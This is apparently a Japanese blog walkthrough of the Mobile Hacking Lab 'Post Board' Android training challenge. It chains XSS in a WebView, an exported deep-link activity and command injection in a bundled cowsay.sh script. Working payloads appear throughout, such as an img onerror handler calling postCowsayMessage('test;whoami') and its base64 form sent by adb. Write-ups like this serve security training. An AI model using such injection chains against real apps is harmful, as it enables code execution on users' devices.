0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

mobile hacking lab_post board

0
Last updated at Posted at 2026-09-19

アプリを通常使用

image.png

コメントを入力するとwebアプリに出力される。
webアプリっぽい挙動なので、oscpの経験でxxsを試したくなる

コメント
<><img src=1 onerror=alert(1)>

image.png
image.png
成功した!
あとはこのアクティビティの中で指定されている関数が自由に使えることになるので、RCEを目指そう

静的解析

AndroidManifest.xml
package="com.mobilehackinglab.postboard"
...
<activity
    android:name="com.mobilehackinglab.postboard.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="postboard"
            android:host="postmessage"/>
    </intent-filter>
</activity>

この時点で以下の形で実行できることが分かります。
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.postboard/.MainActivity -d "postboard://postmessage/???"
URLの指定方法を調べるためにMainActivityを見に行きます。

com.mobilehackinglab.postboard.MainActivity
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
    return;
}
ActivityMainBinding activityMainBinding = null;
try {
    String path = data.getPath();
    byte[] bArrDecode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
    Intrinsics.checkNotNullExpressionValue(bArrDecode, "decode(...)");
    String message = StringsKt.replace$default(new String(bArrDecode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
    ActivityMainBinding activityMainBinding2 = this.binding;
    if (activityMainBinding2 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("binding");
        activityMainBinding2 = null;
    }
    activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
} catch (Exception e) {
    ActivityMainBinding activityMainBinding3 = this.binding;
    if (activityMainBinding3 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("binding");
    } else {
        activityMainBinding = activityMainBinding3;
    }
    activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");

urlをbase64でデコードしてから"'"を"\'"でエスケープしたものをmessageとして使います。

javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')")
という記述が有効なのが分かるので、javascript:alertを置き換えることができます。

コメント
<><img src=1 onerror=WebAppInterface.postCowsayMessage('???')>

???にどのようなコードを入力したらコマンドを実行できるか考えます。

postCowsayMessageをたどってassetsで変なbashファイルを見つけました。
assets/cowsay.sh

bashスクリプトを見つけたのでosコマンドインジェクションの実行テストをしにいきます

termux

1,3,8,18,27
:/data/data/com.mobilehackinglab.postboard/files #
ls
cowsay.sh
:/data/data/com.mobilehackinglab.postboard/files #
./cowsay.sh
Usage: ./cowsay.sh <message>
1|:/data/data/com.mobilehackinglab.postboard/files #
./cowsay.sh hello
 _____
< hello >
 -----
        \   ^__^
         \  (oo)\_______
            (__)\       )\/
                ||----w |
                ||     ||
:/data/data/com.mobilehackinglab.postboard/files #
./cowsay.sh hello;whoami
 _____
< hello >
 -----
        \   ^__^
         \  (oo)\_______
            (__)\       )\/
                ||----w |
                ||     ||
root

osコマンドインジェクションがある。
アプリ側からこのスクリプトを動かせるならrce達成可能

コメント
<><img src=1 onerror=WebAppInterface.postCowsayMessage('test;whoami')>

image.png

書き込んだ後にtestメッセージを入力すると、コマンドインジェクションによりxssが実行されてwhoamiが実行されます。

image.png

コマンドをadbから実行してみましょう。まずはbase64でエンコードします。

<><img src=1 onerror=WebAppInterface.postCowsayMessage('test;whoami')>

image.png

PD48aW1nIHNyYz0xIG9uZXJyb3I9V2ViQXBwSW50ZXJmYWNlLnBvc3RDb3dzYXlNZXNzYWdlKCd0ZXN0O3dob2FtaScpPg==
wsl
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.postboard/.MainActivity -d "postboard://postmessage/PD48aW1nIHNyYz0xIG9uZXJyb3I9V2ViQXBwSW50ZXJmYWNlLnBvc3RDb3dzYXlNZXNzYWdlKCd0ZXN0O3dob2FtaScpPg=="

これでも実行できました。
実行後に適当なコメントをするとコードが実行されます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?